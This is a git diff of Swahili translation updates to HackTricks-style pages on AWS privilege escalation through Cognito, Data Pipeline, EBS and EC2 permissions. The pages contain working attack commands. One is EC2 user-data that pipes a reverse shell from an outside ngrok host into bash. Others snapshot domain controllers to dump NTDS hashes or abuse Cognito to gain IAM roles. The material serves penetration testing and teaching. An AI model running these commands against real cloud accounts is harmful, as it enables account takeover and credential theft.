Utambulisho**. +Mshambuliaji mwenye ruhusa hii anaweza kuweka kwa mfano Pool ya Watumiaji wa Cognito chini ya udhibiti wake au mtoa huduma mwingine wa utambulisho ambapo anaweza kuingia kama **njia ya kufikia Pool hii ya Utambulisho wa Cognito**. Kisha, tu **ingia** kwenye mtoa huduma huyo wa mtumiaji itamruhusu **kuweza kufikia jukumu lililowekwa la uthibitisho katika Pool ya Utambulisho**. ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider @@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \ --identity-id \ --logins cognito-idp..amazonaws.com/= ``` -Ni pia inawezekana **kudhulumu ruhusa hii kuruhusu uthibitishaji wa msingi**: +Inawezekana pia **kudhulumu ruhusa hii ili kuruhusu uthibitishaji wa msingi**: ```bash aws cognito-identity update-identity-pool \ --identity-pool-id \ @@ -69,7 +69,7 @@ aws cognito-identity update-identity-pool \ --allow-unauthenticated-identities --allow-classic-flow ``` -**Madhara Yanayoweza Kutokea**: Kuathiri jukumu la IAM lililothibitishwa lililowekwa ndani ya mchanganyiko wa utambulisho. +**Madhara Yanayoweza Kutokea**: Kuathiri jukumu la IAM lililowekwa ndani ya mchanganyiko wa utambulisho. ### `cognito-idp:AdminAddUserToGroup` @@ -84,7 +84,7 @@ aws cognito-idp admin-add-user-to-group \ ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` -Mshambuliaji mwenye ruhusa hizi anaweza **kuunda/kusasisha vikundi** na **kila jukumu la IAM ambalo linaweza kutumika na Mtoa Kitambulisho wa Cognito aliyeathirika** na kumfanya mtumiaji aliyeathirika kuwa sehemu ya kikundi, akipata ufikiaji wa majukumu hayo yote: +Mshambuliaji mwenye ruhusa hizi anaweza **kuunda/kusasisha vikundi** na **kila jukumu la IAM ambalo linaweza kutumika na Mtoa Huduma wa Utambulisho wa Cognito aliyeathirika** na kufanya mtumiaji aliyeathirika kuwa sehemu ya kikundi, akipata ufikiaji wa majukumu yote hayo: ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` @@ -92,7 +92,7 @@ aws cognito-idp create-group --group-name Hacked --user-pool-id - ### `cognito-idp:AdminConfirmSignUp` -Ruhusa hii inaruhusu **kuhakiki usajili**. Kwa kawaida, mtu yeyote anaweza kuingia kwenye programu za Cognito, ikiwa hiyo itaachwa, mtumiaji anaweza kuunda akaunti kwa data yoyote na kuithibitisha kwa ruhusa hii. +Ruhusa hii inaruhusu **kuhakiki usajili**. Kwa kawaida mtu yeyote anaweza kuingia kwenye programu za Cognito, ikiwa hiyo itaachwa, mtumiaji anaweza kuunda akaunti kwa data yoyote na kuithibitisha kwa ruhusa hii. ```bash aws cognito-idp admin-confirm-sign-up \ --user-pool-id \ @@ -111,11 +111,11 @@ aws cognito-idp admin-create-user \ [--validation-data ] [--temporary-password ] ``` -**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa. Privesc ya moja kwa moja kwa kazi nyingine za programu kwa kuwa na uwezo wa kuunda mtumiaji yeyote. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa. Privesc isiyo ya moja kwa moja kwa kazi nyingine za programu kwa uwezo wa kuunda mtumiaji yeyote. ### `cognito-idp:AdminEnableUser` -Ruhusa hii inaweza kusaidia katika hali ya kipekee ambapo mshambuliaji alipata akidi za mtumiaji aliyezuiliwa na anahitaji **kuwezesha tena**. +Ruhusa hii inaweza kusaidia katika hali ya kipekee ambapo mshambuliaji alipata akidi za mtumiaji aliyezuiliwa na anahitaji **kuiwezesha tena**. ```bash aws cognito-idp admin-enable-user \ --user-pool-id \ @@ -156,7 +156,7 @@ aws cognito-idp admin-set-user-mfa-preference \ --username \ --user-pool-id ``` -**SetUserPoolMfaConfig**: Kufanana na ile ya awali, ruhusa hii inaweza kutumika kuweka upendeleo wa MFA wa mzunguko wa watumiaji ili kupita ulinzi wa MFA. +**SetUserPoolMfaConfig**: Kufanana na ile ya awali, ruhusa hii inaweza kutumika kuweka mapendeleo ya MFA ya kundi la watumiaji ili kupita ulinzi wa MFA. ```bash aws cognito-idp set-user-pool-mfa-config \ --user-pool-id \ @@ -164,14 +164,14 @@ aws cognito-idp set-user-pool-mfa-config \ [--software-token-mfa-configuration ] \ [--mfa-configuration ] ``` -**UpdateUserPool:** Inawezekana pia kuboresha mfuatano wa watumiaji kubadilisha sera ya MFA. [Angalia cli hapa](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). +**UpdateUserPool:** Pia inawezekana kuboresha mfuatano wa watumiaji kubadilisha sera ya MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). -**Potential Impact:** Privesc isiyo ya moja kwa moja kwa mtumiaji yeyote ambaye mshambuliaji anajua akisi, hii inaweza kuruhusu kupita ulinzi wa MFA. +**Potential Impact:** Privesc isiyo ya moja kwa moja kwa mtumiaji yeyote ambaye mshambuliaji anajua akidi zake, hii inaweza kuruhusu kupita ulinzi wa MFA. ### `cognito-idp:AdminUpdateUserAttributes` -Mshambuliaji mwenye ruhusa hii anaweza kubadilisha barua pepe au nambari ya simu au sifa nyingine yoyote ya mtumiaji chini ya udhibiti wake ili kujaribu kupata ruhusa zaidi katika programu ya chini.\ -Hii inaruhusu kubadilisha barua pepe au nambari ya simu na kuipatia kama iliyothibitishwa. +Mshambuliaji mwenye ruhusa hii anaweza kubadilisha barua pepe au nambari ya simu au sifa nyingine yoyote ya mtumiaji chini ya udhibiti wake ili kujaribu kupata mamlaka zaidi katika programu ya chini.\ +Hii inaruhusu kubadilisha barua pepe au nambari ya simu na kuziweka kama zilizothibitishwa. ```bash aws cognito-idp admin-update-user-attributes \ --user-pool-id \ @@ -182,18 +182,18 @@ aws cognito-idp admin-update-user-attributes \ ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -Mshambuliaji mwenye ruhusa hii anaweza **kuunda Mteja Mpya wa User Pool ambao haujawekwa vizuizi** kuliko wateja wa pool waliopo tayari. Kwa mfano, mteja mpya anaweza kuruhusu aina yoyote ya mbinu ya kuthibitisha, asiwe na siri yoyote, kuwa na uondoaji wa tokeni uliozuiliwa, kuruhusu tokeni kuwa halali kwa muda mrefu zaidi... +Mshambuliaji mwenye ruhusa hii anaweza **kuunda Mteja Mpya wa User Pool ambao haujawekwa vizuizi** kuliko wateja wa pool waliopo tayari. Kwa mfano, mteja mpya anaweza kuruhusu aina yoyote ya mbinu za uthibitishaji, asiwe na siri yoyote, kuwa na uondoaji wa tokeni uliozuiliwa, kuruhusu tokeni kuwa halali kwa muda mrefu zaidi... Ile ile inaweza kufanywa ikiwa badala ya kuunda mteja mpya, **mteja aliyopo anabadilishwa**. -Katika [**mistari ya amri**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (au [**sasisha moja**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) unaweza kuona chaguzi zote, angalia hiyo!. +Katika [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (au [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) unaweza kuona chaguzi zote, angalia! ```bash aws cognito-idp create-user-pool-client \ --user-pool-id \ --client-name \ [...] ``` -**Madhara Yanayoweza Kutokea:** Uwezekano wa privesc isiyo ya moja kwa moja kwa mtumiaji aliyeidhinishwa wa Identity Pool anayetumiwa na User Pool kwa kuunda mteja mpya ambao unarefusha hatua za usalama na kufanya iwezekanavyo kwa mshambuliaji kuingia na mtumiaji aliyeweza kuunda. +**Madhara Yanayoweza Kutokea:** Madhara ya moja kwa moja ya privesc kwa mtumiaji aliyeidhinishwa wa Identity Pool anayetumiwa na User Pool kwa kuunda mteja mpya ambao unarefusha hatua za usalama na kufanya iwezekane kwa mshambuliaji kuingia na mtumiaji aliyeweza kuunda. ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` @@ -216,7 +216,7 @@ curl -v -T "PATH_TO_CSV_FILE" \ ``` (Katika kesi ambapo unaunda kazi mpya ya kuagiza unaweza pia kuhitaji ruhusa ya iam passrole, sijajaribu bado). -**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa. Privesc ya moja kwa moja kwa kazi nyingine za programu kwa uwezo wa kuunda mtumiaji yeyote. +**Athari Zinazoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa. Privesc ya moja kwa moja kwa kazi nyingine za programu kwa uwezo wa kuunda mtumiaji yeyote. ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` @@ -234,16 +234,16 @@ aws cognito-idp create-identity-provider \ ### cognito-sync:\* Uchambuzi -Hii ni ruhusa ya kawaida sana kwa msingi katika majukumu ya Mchanganyiko wa Utambulisho wa Cognito. Hata kama wildcard katika ruhusa daima inaonekana mbaya (hasa ikitoka kwa AWS), **ruhusa zilizotolewa si za manufaa sana kutoka kwa mtazamo wa washambuliaji**. +Hii ni ruhusa ya kawaida sana kwa default katika majukumu ya Mchanganyiko wa Utambulisho wa Cognito. Hata kama wildcard katika ruhusa daima inaonekana mbaya (hasa ikitoka AWS), **ruhusa zilizotolewa si za manufaa sana kutoka kwa mtazamo wa washambuliaji**. Ruhusa hii inaruhusu kusoma taarifa za matumizi ya Mchanganyiko wa Utambulisho na Vitambulisho vya Utambulisho ndani ya Mchanganyiko wa Utambulisho (ambayo si taarifa nyeti).\ -Vitambulisho vya Utambulisho vinaweza kuwa na [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) vilivyotolewa kwao, ambavyo ni taarifa za vikao (AWS inaviita kama **mchezo uliohifadhiwa**). Inaweza kuwa na uwezekano kwamba hii ina aina fulani ya taarifa nyeti (lakini uwezekano ni mdogo sana). Unaweza kupata katika [**ukurasa wa orodha**](../aws-services/aws-cognito-enum/) jinsi ya kufikia taarifa hii. +Vitambulisho vya Utambulisho vinaweza kuwa na [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) vilivyotolewa kwao, ambavyo ni taarifa za vikao (AWS inaviita kama **mchezo uliohifadhiwa**). Inaweza kuwa inawezekana kwamba hii ina aina fulani ya taarifa nyeti (lakini uwezekano ni mdogo sana). Unaweza kupata katika [**ukurasa wa orodha**](../aws-services/aws-cognito-enum/) jinsi ya kufikia taarifa hii. Mshambuliaji pia anaweza kutumia ruhusa hizi ku **jiandikishe kwenye mtiririko wa Cognito unaochapisha mabadiliko** kwenye datasets hizi au **lambda inayosababisha kwenye matukio ya cognito**. Sijawahi kuona hii ikitumika, na sitarajii taarifa nyeti hapa, lakini si haiwezekani. ### Zana za Kiotomatiki -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), mfumo wa unyakuzi wa AWS, sasa unajumuisha moduli za "cognito\_\_enum" na "cognito\_\_attack" ambazo zinafanya otomatiki orodha ya mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk., na pia zinafanya otomatiki uundaji wa mtumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za mchanganyiko wa utambulisho zinazoweza kutumika, majukumu yanayoweza kuchukuliwa katika vitambulisho vya id, nk. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), mfumo wa unyakuzi wa AWS, sasa unajumuisha moduli za "cognito\_\_enum" na "cognito\_\_attack" ambazo zinafanya otomatiki orodha ya mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk, na pia zinafanya otomatiki uundaji wa mtumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za utambulisho zinazoweza kutumika, majukumu yanayoweza kuchukuliwa katika vitambulisho vya id, nk. Kwa maelezo ya kazi za moduli angalia sehemu ya 2 ya [blogu](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Kwa maelekezo ya usakinishaji angalia ukurasa mkuu wa [Pacu](https://github.com/RhinoSecurityLabs/pacu). @@ -255,11 +255,11 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: +Sample cognito\_\_enum matumizi ya kukusanya kila mzunguko wa mtumiaji, wateja wa mzunguko wa mtumiaji, mizunguko ya utambulisho, watumiaji, nk. wanaoonekana katika akaunti ya sasa ya AWS: ```bash Pacu (new:test) > run cognito__enum ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) ni chombo cha CLI katika python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikiwa ni pamoja na kupanda hadhi. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) ni chombo cha CLI katika python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikijumuisha kupanda vyeo. #### Installation ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index beb8a35ab..92fdec331 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -50,16 +50,16 @@ Baada ya kuunda pipeline, mshambuliaji anasasisha ufafanuzi wake ili kuamuru vit } ``` > [!NOTE] -> Kumbuka kwamba **role** katika **mistari 14, 15 na 27** inahitaji kuwa **role inayoweza kuchukuliwa na datapipeline.amazonaws.com** na **role** katika **mstari 28** inahitaji kuwa **role inayoweza kuchukuliwa na ec2.amazonaws.com na profaili ya EC2 instance**. +> Kumbuka kwamba **role** katika **mistari 14, 15 na 27** inahitaji kuwa role **inasemekana na datapipeline.amazonaws.com** na role katika **mstari 28** inahitaji kuwa **role inayoweza kusemwa na ec2.amazonaws.com yenye profaili ya EC2**. > -> Zaidi ya hayo, EC2 instance itakuwa na ufikiaji tu wa **role** inayoweza kuchukuliwa na EC2 instance (hivyo unaweza kuiba hiyo pekee). +> Zaidi ya hayo, mfano wa EC2 utaweza tu kupata role inayoweza kusemwa na mfano wa EC2 (hivyo unaweza kuiba hiyo pekee). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` -The **faili la ufafanuzi wa pipeline, lililotengenezwa na mshambuliaji, linaelekezo ya kutekeleza amri** au kuunda rasilimali kupitia API ya AWS, ikitumia ruhusa za jukumu la Data Pipeline ili kupata haki za ziada. +Faili la **mwelekeo wa pipeline, lililotengenezwa na mshambuliaji, lina maagizo ya kutekeleza amri** au kuunda rasilimali kupitia AWS API, likitumia ruhusa za jukumu la Data Pipeline ili kupata haki za ziada. -**Athari Zinazoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu la huduma ya ec2 lililotajwa. +**Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa jukumu la huduma ya ec2 lililotajwa. ## Marejeleo diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index d0daa32fe..4f3b71440 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Huduma za Katalogi +## Directory Services -Kwa maelezo zaidi kuhusu huduma za katalogi angalia: +Kwa maelezo zaidi kuhusu huduma za directory angalia: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -23,10 +23,10 @@ Inawezekana kuwezesha **URL ya ufikiaji wa programu** ambayo watumiaji kutoka AD
-Na kisha **kuwapa jukumu la AWS IAM** wakati wanapoingia, kwa njia hii mtumiaji/kikundi cha AD kitakuwa na ufikiaji wa AWS management console: +Na kisha **kuwapa jukumu la AWS IAM** wanapojiunga, kwa njia hii mtumiaji/kikundi cha AD kitakuwa na ufikiaji wa AWS management console:
-Hakuna njia yoyote ya kuonekana kuwezesha URL ya ufikiaji wa programu, AWS Management Console na kutoa ruhusa +Hakuna njia inayonekana kuwezesha URL ya ufikiaji wa programu, AWS Management Console na kutoa ruhusa {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 25842e603..a9620a642 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu dynamodb angalia: ### Post Exploitation -Kama ninavyojua **hakuna njia ya moja kwa moja ya kupandisha mamlaka katika AWS kwa kuwa na ruhusa za AWS `dynamodb` tu**. Unaweza **kusoma taarifa nyeti** kutoka kwenye meza (ambazo zinaweza kuwa na akreditivu za AWS) na **kuandika taarifa kwenye meza** (ambazo zinaweza kusababisha udhaifu mwingine, kama vile sindano za msimbo wa lambda...) lakini chaguzi hizi zote tayari zinachukuliwa katika **ukurasa wa DynamoDB Post Exploitation**: +Kuhusu ninavyojua, **hakuna njia ya moja kwa moja ya kupandisha mamlaka katika AWS kwa kuwa na ruhusa za AWS `dynamodb` tu**. Unaweza **kusoma taarifa nyeti** kutoka kwenye meza (ambazo zinaweza kuwa na akreditif za AWS) na **kuandika taarifa kwenye meza** (ambazo zinaweza kusababisha udhaifu mwingine, kama vile sindano za msimbo wa lambda...) lakini chaguzi hizi zote tayari zinachukuliwa katika **ukurasa wa DynamoDB Post Exploitation**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index 9e0d9f25c..762e81e36 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,7 +6,7 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -Mshambuliaji mwenye hizo atakuwa na uwezo wa **kupakua na kuchambua picha za volumes locally** na kutafuta taarifa nyeti ndani yao (kama vile siri au msimbo wa chanzo). Pata jinsi ya kufanya hivi katika: +Mshambuliaji mwenye hizo atakuwa na uwezo wa **kupakua na kuchambua snapshots za volumes locally** na kutafuta taarifa nyeti ndani yao (kama vile siri au msimbo wa chanzo). Pata jinsi ya kufanya hivi katika: {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -14,14 +14,14 @@ Mshambuliaji mwenye hizo atakuwa na uwezo wa **kupakua na kuchambua picha za vol Ruhusa nyingine zinaweza pia kuwa na manufaa kama: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` -Zana [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) inatekeleza shambulio hili ili **kuchota nywila kutoka kwa kiongozi wa eneo**. +Zana [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) inatekeleza shambulio hili ili **kuchota nywila kutoka kwa domain controller**. -**Athari Zinazoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika picha (unaweza hata kupata nywila za Active Directory). +**Athari Zinazoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika snapshot (unaweza hata kupata nywila za Active Directory). ### **`ec2:CreateSnapshot`** -Mtumiaji yeyote wa AWS mwenye ruhusa **`EC2:CreateSnapshot`** anaweza kuiba hash za watumiaji wote wa eneo kwa kuunda **picha ya Kiongozi wa Eneo** na kuifunga kwa mfano wanaodhibiti na **kutoa faili ya NTDS.dit na hive ya rejista ya SYSTEM** kwa matumizi na mradi wa secretsdump wa Impacket. +Mtumiaji yeyote wa AWS mwenye ruhusa **`EC2:CreateSnapshot`** anaweza kuiba hash za watumiaji wote wa domain kwa kuunda **snapshot ya Domain Controller** na kuikamilisha kwa mfano wanaodhibiti na **kutoa faili ya NTDS.dit na SYSTEM** registry hive kwa matumizi na mradi wa secretsdump wa Impacket. -Unaweza kutumia zana hii kuharakisha shambulio: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) au unaweza kutumia moja ya mbinu zilizopita baada ya kuunda picha. +Unaweza kutumia zana hii kuharakisha shambulio: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) au unaweza kutumia moja ya mbinu zilizopita baada ya kuunda snapshot. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 7ae4364ea..c6eda43e6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu **EC2** angalia: ### `iam:PassRole`, `ec2:RunInstances` -Mshambuliaji anaweza **kuunda na instance akitumia IAM role kisha kufikia instance hiyo** ili kuiba akidi za IAM role kutoka kwa metadata endpoint. +Mshambuliaji anaweza **kuunda na instance ikifunga IAM role kisha kufikia instance hiyo** ili kuiba akidi za IAM role kutoka kwa metadata endpoint. - **Upatikanaji kupitia SSH** @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Upatikanaji kupitia rev shell katika data ya mtumiaji** -Unaweza kuendesha mfano mpya ukitumia **data ya mtumiaji** (`--user-data`) ambayo itakutumia **rev shell**. Huhitaji kubainisha kundi la usalama kwa njia hii. +Unaweza kuendesha mfano mpya ukitumia **data ya mtumiaji** (`--user-data`) ambayo itakutumia **rev shell**. Huhitaji kubaini kundi la usalama kwa njia hii. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance: +Kuwa makini na GuradDuty ukitumia akreditivu za IAM role nje ya instance: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles. +**Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa yoyote EC2 role iliyoambatanishwa na profaili za instance zilizopo. -#### Privesc to ECS +#### Privesc kwa ECS -With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**. +Kwa seti hii ya ruhusa unaweza pia **kuunda instance ya EC2 na kuisajili ndani ya klasta ya ECS**. Kwa njia hii, huduma za ECS **zitakimbia** ndani ya **EC2 instance** ambapo una ufikiaji na kisha unaweza kuingia kwenye huduma hizo (maktaba za docker) na **kuchukua ECS roles zao zilizounganishwa**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -65,7 +65,7 @@ Ili kujifunza jinsi ya **kulazimisha huduma za ECS kufanyika** katika hii EC2 mp aws-ecs-privesc.md {{#endref}} -Ikiwa huwezi **kuunda mfano mpya** lakini una ruhusa `ecs:RegisterContainerInstance` unaweza kuwa na uwezo wa kujiandikisha mfano ndani ya klasta na kutekeleza shambulio lililokosolewa. +Ikiwa huwezi **kuunda mfano mpya** lakini una ruhusa `ecs:RegisterContainerInstance` unaweza kuwa na uwezo wa kujiandikisha mfano ndani ya klasta na kutekeleza shambulio lililozungumziwa. **Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa majukumu ya ECS yaliyounganishwa na kazi. @@ -80,7 +80,7 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -Ikiwa **profaili ya mfano ina jukumu** na mshambuliaji **hawezi kuondoa** hiyo, kuna njia nyingine. Anaweza **kupata** **profaili ya mfano isiyo na jukumu** au **kuunda mpya** (`iam:CreateInstanceProfile`), **kuongeza** **jukumu** kwa **profaili hiyo ya mfano** (kama ilivyojadiliwa hapo awali), na **kuunganisha profaili ya mfano** iliyovunjika kwa mfano uliovunjika: +Ikiwa **profaili ya mfano ina jukumu** na mshambuliaji **hawezi kuondoa** hiyo, kuna njia nyingine. Anaweza **kupata** **profaili ya mfano isiyo na jukumu** au **kuunda mpya** (`iam:CreateInstanceProfile`), **kuongeza** **jukumu** kwa hiyo **profaili ya mfano** (kama ilivyojadiliwa hapo awali), na **kuunganisha profaili ya mfano** iliyovunjika kwa mfano uliovunjika: - Ikiwa mfano **hauna profaili yoyote ya mfano** (`ec2:AssociateIamInstanceProfile`) \* ```bash @@ -92,13 +92,13 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins Kwa ruhusa hizi inawezekana kubadilisha wasifu wa mfano uliohusishwa na mfano hivyo ikiwa shambulio tayari lilikuwa na ufikiaji wa mfano atakuwa na uwezo wa kuiba akidi za majukumu zaidi ya wasifu wa mfano kwa kubadilisha ule uliohusishwa nao. -- Ikiwa **ina wasifu wa mfano**, unaweza **kuondoa** wasifu wa mfano (`ec2:DisassociateIamInstanceProfile`) na **kuunganisha** hiyo \* +- Ikiwa ina **wasifu wa mfano**, unaweza **kuondoa** wasifu wa mfano (`ec2:DisassociateIamInstanceProfile`) na **kuunganisha** hiyo \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- au **badilisha** **profaili ya mfano** ya mfano ulioathiriwa (`ec2:ReplaceIamInstanceProfileAssociation`). \* +- au **badilisha** **profaili ya mfano** ya mfano ulioathirika (`ec2:ReplaceIamInstanceProfileAssociation`). \* ```` ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id @@ -121,9 +121,9 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -Mshambuliaji mwenye **`ec2:ModifyInstanceAttribute`** anaweza kubadilisha sifa za instances. Miongoni mwao, anaweza **kubadilisha data ya mtumiaji**, ambayo ina maana kwamba anaweza kufanya instance **ikimbie data isiyo na mipaka.** Hii inaweza kutumika kupata **rev shell kwa instance ya EC2**. +Mshambuliaji mwenye **`ec2:ModifyInstanceAttribute`** anaweza kubadilisha sifa za instances. Miongoni mwao, anaweza **kubadilisha data ya mtumiaji**, ambayo ina maana kwamba anaweza kufanya instance **ikimbie data yoyote.** Hii inaweza kutumika kupata **rev shell kwa instance ya EC2**. -Kumbuka kwamba sifa zinaweza tu **kubadilishwa wakati instance imezimwa**, hivyo **permissions** **`ec2:StopInstances`** na **`ec2:StartInstances`**. +Kumbuka kwamba sifa zinaweza tu **kubadilishwa wakati instance imezimwa**, hivyo **idhini** **`ec2:StopInstances`** na **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -160,11 +160,11 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**Potential Impact:** Moja kwa moja privesc kwa yoyote EC2 IAM Role iliyoambatanishwa na mfano ulioundwa. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa yoyote EC2 IAM Role iliyoambatanishwa na mfano ulioanzishwa. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -Mshambuliaji mwenye ruhusa **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`na `ec2:ModifyLaunchTemplate`** anaweza kuunda **toleo jipya la Launch Template** lenye **rev shell katika** **data ya mtumiaji** na **yoyote EC2 IAM Role juu yake**, kubadilisha toleo la kawaida, na **kikundi chochote cha Autoscaler** **kilichotumia** hiyo **Launch Template** ambayo ime **pangwa** kutumia **toleo jipya** au **toleo la kawaida** itafanya **kurejesha mifano** ikitumia hiyo template na itatekeleza rev shell. +Mshambuliaji mwenye ruhusa **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`na `ec2:ModifyLaunchTemplate`** anaweza kuunda **toleo jipya la Template ya Kuanzisha** lenye **rev shell katika** **data ya mtumiaji** na **EC2 IAM Role yoyote juu yake**, kubadilisha toleo la kawaida, na **kikundi chochote cha Autoscaler** **kilichotumia** hiyo **Template 